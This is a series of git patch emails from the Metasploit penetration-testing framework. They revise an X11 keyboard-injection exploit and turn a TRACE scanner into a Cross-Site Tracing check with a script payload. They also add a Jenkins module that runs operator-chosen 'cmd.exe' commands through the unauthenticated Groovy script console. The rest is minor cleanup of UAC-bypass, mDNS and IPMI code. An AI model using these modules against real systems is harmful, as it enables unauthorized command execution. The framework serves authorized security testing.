a/modules/exploits/unix/x11/x11_keyboard_exec.rb +++ b/modules/exploits/unix/x11/x11_keyboard_exec.rb @@ -109,11 +109,11 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(6000), - OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows', 5]) + OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5]) ], self.class) end - def press_key( key ) + def press_key(key) req = "\x8e\x02\x09\x00" req << "\x02" req << key @@ -129,15 +129,15 @@ class Metasploit3 < Msf::Exploit::Remote sock.put(req) - res = sock.recv(1024) + res = sock.get_once # Response should give 1 on first byte (Success) - unless res and res[0] == "\x01" - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key}") + unless res and res[0,1] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}") end end - def release_key( key ) + def release_key(key) req = "\x8e\x02\x09\x00" req << "\x03" req << key @@ -153,18 +153,18 @@ class Metasploit3 < Msf::Exploit::Remote sock.put(req) - res = sock.recv(1024) + res = sock.get_once # Response should give 1 on first byte (Success) - unless res and res[0] == "\x01" - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key}") + unless res and res[0,1] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}") end end - def type_command( command ) + def type_command(command) # Specify the special keys which need to have shift pressed first to type - specialkeys = '<>{}|"&()'.chars.to_a - values = command.chars.to_a + specialkeys = '<>{}|"&()'.chars + values = command.chars values.each do |value| key = KB_KEYS[value] # Special keys need a shift pressed to be typed @@ -186,8 +186,8 @@ class Metasploit3 < Msf::Exploit::Remote end end # Send an enter - press_key( "\x24" ) # [enter] - release_key( "\x24" ) # [enter] + press_key("\x24") # [enter] + release_key("\x24") # [enter] end @@ -212,10 +212,10 @@ class Metasploit3 < Msf::Exploit::Remote sock.put(req) # Retrieve the whole X11 details response - res = sock.recv(4096) + res = sock.get_once # Response should give 0x01 in first byte (Success) - unless res and res[0] == "\x01" + unless res and res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - Registering keyboard failed") end @@ -227,12 +227,14 @@ class Metasploit3 < Msf::Exploit::Remote release_key(KB_KEYS["f2"]) # Wait X seconds to open the dialog + print_status("Waiting #{datastore['TIME_WAIT']} seconds...") select(nil, nil, nil, datastore['TIME_WAIT']) # Start a xterm terminal print_status("#{rhost}:#{rport} - Opening xterm") type_command("xterm") + print_status("Waiting #{datastore['TIME_WAIT']} seconds...") # Wait X seconds to open the terminal select(nil, nil, nil, datastore['TIME_WAIT']) @@ -242,7 +244,6 @@ class Metasploit3 < Msf::Exploit::Remote type_command(command) - handler rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e print_error("#{rhost}:#{rport} - #{e.message}") From 34e0819a6ecaeb7b358fff9161d09b430e55e109 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Sep 2015 00:19:08 +0800 Subject: [PATCH 0483/2172] Modified the HTTP Trace Detection to XST Checker This was suggested by HD Moore in https://github.com/rapid7/metasploit-framework/pull/5612 --- modules/auxiliary/scanner/http/trace.rb | 38 ++++++++++++++----------- 1 file changed, 21 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index 41994b6c9e..21ccafba95 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -15,9 +15,13 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'HTTP TRACE Detection', - 'Description' => 'Test if TRACE is actually enabled. 405 (Apache) 501(IIS) if its disabled, 200 if it is', - 'Author' => ['CG'], + 'Name' => 'Cross-Site Tracing (XST) Checker', + 'Description' => 'Checks if the host is vulnerable to Cross-Site Tracing (XST)', + 'Author' => + [ + 'Jay Turla <@shipcod3>' , #Cross-Site Tracing (XST) Checker + 'CG' #HTTP TRACE Detection + ], 'License' => MSF_LICENSE ) end @@ -27,36 +31,36 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_raw({ 'version' => '1.0', - 'uri' => '/', + 'uri' => '/<script>alert(1337)</script>', #XST Payload 'method' => 'TRACE', 'headers' => { - 'Cookie' => "did you echo me back?", + 'Cookie' => "TRACE ME PLS", }, - }, 10) + }) if res.nil? - print_error("no repsonse for #{target_host}") - elsif (res.code == 200) - print_good("#{target_host}:#{rport}-->#{res.code}") + vprint_error("no repsonse for #{target_host}") + elsif res.code == 200 and res.body =~/>alert\(1337\)/ + vprint_status("#{target_host}:#{rport}-->#{res.code}") print_good("Response Headers:\n #{res.headers}") print_good("Response Body:\n #{res.body}") - print_good("TRACE appears to be enabled on #{target_host}:#{rport} \n") - report_note( + print_good("#{target_host}:#{rport} is vulnerable to Cross-Site Tracing") + report_vuln( :host => target_host, :port => rport, :proto => 'tcp', :sname => (ssl ? 'https' : 'http'), :type => 'service.http.method.trace', - :data => "TRACE method is enabled for this service", + :info => "TRACE method is enabled for this service and is vulnerable to Cross-Site Tracing", :update => :unique_data ) - elsif (res.code == 501)#Not Implemented - print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #IIS - elsif (res.code == 405)#Method Not Allowed - print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #Apache + elsif res.code == 405 #Method Not Allowed (Apache) + vprint_error("Received #{res.code} Method Not Allowed for #{target_host}:#{rport}") + elsif res.code == 501 #Not Implemented (IIS) + vprint_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") else - print_status("#{res.code}") + vprint_status("#{res.code}") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout From 5ecee6aaba3b5861b4b2821713ba6eff3feb5311 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Sep 2015 00:27:22 +0800 Subject: [PATCH 0484/2172] Update trace.rb removed some spaces so that msftidy will be happy --- modules/auxiliary/scanner/http/trace.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index 21ccafba95..fe148df0e5 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -17,8 +17,8 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'Cross-Site Tracing (XST) Checker', 'Description' => 'Checks if the host is vulnerable to Cross-Site Tracing (XST)', - 'Author' => - [ + 'Author' => + [ 'Jay Turla <@shipcod3>' , #Cross-Site Tracing (XST) Checker 'CG' #HTTP TRACE Detection ], @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary elsif res.code == 405 #Method Not Allowed (Apache) vprint_error("Received #{res.code} Method Not Allowed for #{target_host}:#{rport}") elsif res.code == 501 #Not Implemented (IIS) - vprint_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") + vprint_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") else vprint_status("#{res.code}") end From 73bf812dfd78cc48095e9b091aa9cff64cbae36d Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Sep 2015 00:35:23 +0800 Subject: [PATCH 0485/2172] Update trace.rb removed the cookie --- modules/auxiliary/scanner/http/trace.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index fe148df0e5..1260ec5f23 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -33,10 +33,6 @@ class Metasploit3 < Msf::Auxiliary 'version' => '1.0', 'uri' => '/<script>alert(1337)</script>', #XST Payload 'method' => 'TRACE', - 'headers' => - { - 'Cookie' => "TRACE ME PLS", - }, }) if res.nil? From b89b6b653abbe8e6bd6728cd22446165f2ecd6f6 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Thu, 3 Sep 2015 01:26:45 +0800 Subject: [PATCH 0486/2172] Update trace.rb --- modules/auxiliary/scanner/http/trace.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index 1260ec5f23..6088dcad43 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Cross-Site Tracing (XST) Checker', + 'Name' => 'HTTP Cross-Site Tracing Detection', 'Description' => 'Checks if the host is vulnerable to Cross-Site Tracing (XST)', 'Author' => [ @@ -49,7 +49,6 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? 'https' : 'http'), :type => 'service.http.method.trace', :info => "TRACE method is enabled for this service and is vulnerable to Cross-Site Tracing", - :update => :unique_data ) elsif res.code == 405 #Method Not Allowed (Apache) vprint_error("Received #{res.code} Method Not Allowed for #{target_host}:#{rport}") From 3d04d53e3a354bdd8fd02f44566ccfdba90d0d15 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 2 Sep 2015 10:31:46 -0700 Subject: [PATCH 0487/2172] first pass at better output and report_service --- lib/msf/core/auxiliary/mdns.rb | 10 ++++++++++ modules/auxiliary/scanner/llmnr/query.rb | 5 +++-- modules/auxiliary/scanner/mdns/query.rb | 6 +++--- 3 files changed, 16 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index 63337a8e71..449ed1e92f 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -65,5 +65,15 @@ module Msf def query_type_num Net::DNS::RR::Types.new(query_type).to_i end + + def describe_response(response) + decoded = Resolv::DNS::Message.decode(response) + answers = decoded.answer.map(&:to_s) + "#{answers.size} answers: #{answers.join(',')}" + end + + def request_info + "#{query_name} #{query_class}/#{query_type}" + end end end diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 82fd58658c..2f4bde6ed3 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -38,8 +38,9 @@ class Metasploit3 < Msf::Auxiliary def scanner_postscan(_batch) @results.each_pair do |peer, resps| resps.each do |resp| - print_good("#{peer} responded with #{Resolv::DNS::Message.decode(resp).inspect}") - report_service(host: peer, port: rport, proto: "udp", name: "llmnr") + response_info = describe_response(resp) + print_good("#{peer} responded with #{response_info}") + report_service(host: peer, port: rport, proto: "udp", name: "llmnr", info: "#{request_info} -> #{response_info}") end end end diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index a541320ebb..40ec87487b 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -37,9 +37,9 @@ class Metasploit3 < Msf::Auxiliary def scanner_postscan(_batch) @results.each_pair do |peer, resps| resps.each do |resp| - resp_message = Resolv::DNS::Message.decode(resp) - print_good("#{peer} responded with #{resp_message.inspect}") - report_service(host: peer, port: rport, proto: "udp", name: "mdns") + response_info = describe_response(resp) + print_good("#{peer} responded with #{response_info}") + report_service(host: peer, port: rport, proto: "udp", name: "mdns", info: "#{request_info} -> #{response_info}") end end end From 126fc9881e0fd43928a5697bd30a5e6d4e7804d6 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 2 Sep 2015 12:48:53 -0500 Subject: [PATCH 0488/2172] Cleanup and tweaks --- modules/auxiliary/scanner/http/trace.rb | 37 ++++++++++--------------- 1 file changed, 15 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index 6088dcad43..86472e9648 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -30,34 +30,27 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_raw({ - 'version' => '1.0', 'uri' => '/<script>alert(1337)</script>', #XST Payload 'method' => 'TRACE', }) - if res.nil? - vprint_error("no repsonse for #{target_host}") - elsif res.code == 200 and res.body =~/>alert\(1337\)/ - vprint_status("#{target_host}:#{rport}-->#{res.code}") - print_good("Response Headers:\n #{res.headers}") - print_good("Response Body:\n #{res.body}") - print_good("#{target_host}:#{rport} is vulnerable to Cross-Site Tracing") - report_vuln( - :host => target_host, - :port => rport, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :type => 'service.http.method.trace', - :info => "TRACE method is enabled for this service and is vulnerable to Cross-Site Tracing", - ) - elsif res.code == 405 #Method Not Allowed (Apache) - vprint_error("Received #{res.code} Method Not Allowed for #{target_host}:#{rport}") - elsif res.code == 501 #Not Implemented (IIS) - vprint_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") - else - vprint_status("#{res.code}") + unless res + vprint_error("#{rhost}:#{rport} did not reply to our request") + return end + if res.body.to_s.index('/<script>alert(1337)</script>') + print_good("#{rhost}:#{rport} is vulnerable to Cross-Site Tracing") + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :info => "Vulnerable to Cross-Site Tracing", + ) + else + vprint_error("#{rhost}:#{rport} returned #{res.code} #{res.message}") + end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end From 54f79e72bb562585b237aac7d4fc9263b923c1ad Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 2 Sep 2015 13:08:07 -0500 Subject: [PATCH 0489/2172] Initialize writable_dir in the main block --- lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 6bd19aa2dd..772f064378 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -817,6 +817,7 @@ class Console::CommandDispatcher::Core return end + writable_dir = nil opts = { timeout: nil } From 55251ffe173d53d1d1f3703bc276a81c3c22655a Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 2 Sep 2015 11:21:54 -0700 Subject: [PATCH 0490/2172] Slightly better output. Unsure if this will work with all response types --- lib/msf/core/auxiliary/mdns.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index 449ed1e92f..15127a7542 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -68,8 +68,13 @@ module Msf def describe_response(response) decoded = Resolv::DNS::Message.decode(response) - answers = decoded.answer.map(&:to_s) - "#{answers.size} answers: #{answers.join(',')}" + answers = decoded.answer + if answers.empty? # not sure this will ever happen... + "no answers" + else + names = answers.map { |_,_,data| data.name } + "#{answers.size} answers: #{names.join(',')}" + end end def request_info From 582cc795ac216a6814f085babedbebc239795c07 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Wed, 2 Sep 2015 19:42:04 +0100 Subject: [PATCH 0491/2172] Remove newlines --- modules/exploits/windows/local/bypassuac.rb | 2 +- modules/exploits/windows/local/bypassuac_injection.rb | 2 +- modules/exploits/windows/local/bypassuac_vbs.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 5b4a4ed76e..8cfb23418c 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Local case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good 'UAC is set to Default' diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index d08f0655f1..8767b28f44 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Local UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good('UAC is set to Default') diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb index cc6d87bb33..b560da405e 100644 --- a/modules/exploits/windows/local/bypassuac_vbs.rb +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Local UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good('UAC is set to Default') From becc599aca8bd9f6c4ceee8b0d9350f74261164b Mon Sep 17 00:00:00 2001 From: altjx <alton.jx@gmail.com> Date: Wed, 2 Sep 2015 16:12:05 -0400 Subject: [PATCH 0492/2172] Created Jenkins RCE module This module simply automates the same procedures documented by Royce Davis at https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/. --- .../auxiliary/scanner/http/jenkins_command.rb | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 modules/auxiliary/scanner/http/jenkins_command.rb diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb new file mode 100644 index 0000000000..d43451193a --- /dev/null +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -0,0 +1,64 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +## +# Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata +## + +require 'rex/proto/http' +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins RCE (via Groovy Script)', + 'Description' => %q{ + This module takes advantage of the lack of password on Jenkins web applications + and automates the command execution aspect (via groovy script). + }, + 'Author' => + [ + 'altonjx', + 'Jeffrey Cap' + ], + 'References' => [ + ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'] + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/script"]), + OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']), + ], self.class) + deregister_options('VHOST') + end + + def run_host(ip) + command = datastore['COMMAND'].gsub("\\", "\\\\\\") + res = send_request_cgi( + { + 'uri' => target_uri.path, + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" + }).to_s.gsub("err&gt;", "") + output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1] + + if output.include? "groovy.control.MultipleCompilationErrorsException" + print_error("An unown error occurred when running the command.") + else + print_good("The server responded with the following output:\n") + puts CGI.unescapeHTML(output) + end + end +end From 9e983854173ac268ea32df8cacacac51c601b378 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 2 Sep 2015 15:16:25 -0500 Subject: [PATCH 0493/2172] Fix #5716 by correctly setting the data length --- lib/rex/proto/ipmi/utils.rb | 56 ++++++++++++++++++++----------------- 1 file changed, 30 insertions(+), 26 deletions(-) diff --git a/lib/rex/proto/ipmi/utils.rb b/lib/rex/proto/ipmi/utils.rb index d86df13bd5..5848a9fde9 100644 --- a/lib/rex/proto/ipmi/utils.rb +++ b/lib/rex/proto/ipmi/utils.rb @@ -15,8 +15,8 @@ class Utils def self.create_ipmi_getchannel_probe [ # Get Channel Authentication Capabilities 0x06, 0x00, 0xff, 0x07, # RMCP Header - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18, 0xc8, 0x81, 0x00, 0x38, 0x8e, 0x04, 0xb5 ].pack("C*") end @@ -36,20 +36,20 @@ class Utils 0x00, 0x00, # Reserved 0x00, 0x00 - ].pack("C*") + + ].pack("C*") + console_session_id + [ - 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x08, + 0x01, 0x00, 0x00, 0x08, # HMAC-SHA1 - 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x08, + 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x08, # AES Encryption 0x01, 0x00, 0x00, 0x00 ].pack("C*") - head + [data.length].pack('v') + data + head + [data.length].pack('v') + data end @@ -68,39 +68,43 @@ class Utils 0x00, 0x00, # Reserved 0x00, 0x00 - ].pack("C*") + + ].pack("C*") + console_session_id + [ - 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x08, # Cipher 0 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x08, # Cipher 0 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x08, - # No Encryption + # No Encryption 0x00, 0x00, 0x00, 0x00 ].pack("C*") - head + [data.length].pack('v') + data + head + [data.length].pack('v') + data end def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username) - [ + head = [ 0x06, 0x00, 0xff, 0x07, # RMCP Header 0x06, # RMCP+ Authentication Type PAYLOAD_RAKP1, # Payload Type - 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, - 0x00, 0x00, 0x00, 0x00 - ].pack("C*") + - bmc_session_id + - console_random_id + - [ - 0x14, 0x00, 0x00, - username.length - ].pack("C*") + - username + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + ].pack("C*") + + data = + [0x00, 0x00, 0x00, 0x00].pack("C*") + + bmc_session_id + + console_random_id + + [ + 0x14, 0x00, 0x00, + username.length + ].pack("C*") + + username + + head + [data.length].pack('v') + data end @@ -109,7 +113,7 @@ class Utils bmc_sid + con_rid + bmc_rid + - bmc_gid + + bmc_gid + [ auth_level ].pack("C") + [ username.length ].pack("C") + username @@ -122,4 +126,4 @@ class Utils end end end -end \ No newline at end of file +end From bde4f40c53cad19ce28e8e547131daff0e6236ad Mon Sep 17 00:00:00 2001 From: altjx <alton.jx@gmail.com> Date: Wed, 2 Sep 2015 16:39:49 -0400 Subject: [PATCH 0494/2172] Update jenkins_command.rb --- .../auxiliary/scanner/http/jenkins_command.rb | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index d43451193a..706f2ba065 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -51,14 +51,17 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" - }).to_s.gsub("err&gt;", "") - output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1] + }).body.to_s + + unless res.nil? + output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "") + end - if output.include? "groovy.control.MultipleCompilationErrorsException" - print_error("An unown error occurred when running the command.") - else - print_good("The server responded with the following output:\n") - puts CGI.unescapeHTML(output) - end + if output.include? "groovy.control.MultipleCompilationErrorsException" + print_error("An unknown error occurred when running the command.") + else + print_good("The server responded with the following output:") + print_good(output) + end end end From 25a22860b76cd406b8b3913c7cb0cc049f6472e0 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 2 Sep 2015 13:43:26 -0700 Subject: [PATCH 0495/2172] Summarize MDNS/LLMNR responses --- lib/msf/core/auxiliary/mdns.rb | 26 ++++++++++++++++++++++++-- 1 file changed, 24 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index 15127a7542..af17eef488 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -72,8 +72,30 @@ module Msf if answers.empty? # not sure this will ever happen... "no answers" else - names = answers.map { |_,_,data| data.name } - "#{answers.size} answers: #{names.join(',')}" + # there are often many answers for the same RR, so group them + grouped_answers = answers.group_by { |name,_,_| name } + # now summarize each group by noting the resource type and the notable + # part(s) of that RR + summarized_answers = grouped_answers.map do |name,these_answers| + summarized_group = these_answers.map do |_,_,data| + friendly_data = case data + when Resolv::DNS::Resource::IN::A + "A #{data.address}" + when Resolv::DNS::Resource::IN::AAAA + "AAAA #{data.address}" + when Resolv::DNS::Resource::IN::PTR + "PTR #{data.name}" + when Resolv::DNS::Resource::IN::SRV + "SRV #{data.target}" + when Resolv::DNS::Resource::IN::TXT + "TXT #{data.strings.join(',')}" + else + data.inspect + end + end + { "#{name}" => summarized_group } + end + "#{answers.size} answers: #{summarized_answers.join(', ')}" end end From 284edbe4b0244ee715835162dff1c6b8e586f11f Mon Sep 17 00:00:00 2001 From: altjx <alton.jx@gmail.com> Date: Wed, 2 Sep 2015 16:47:23 -0400 Subject: [PATCH 0496/2172] Update jenkins_command.rb --- modules/auxiliary/scanner/http/jenkins_command.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index 706f2ba065..30190e5b75 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary 'Jeffrey Cap' ], 'References' => [ - ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'] + ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'] ], 'License' => MSF_LICENSE )) @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary 'ctype' => 'application/x-www-form-urlencoded', 'data' => 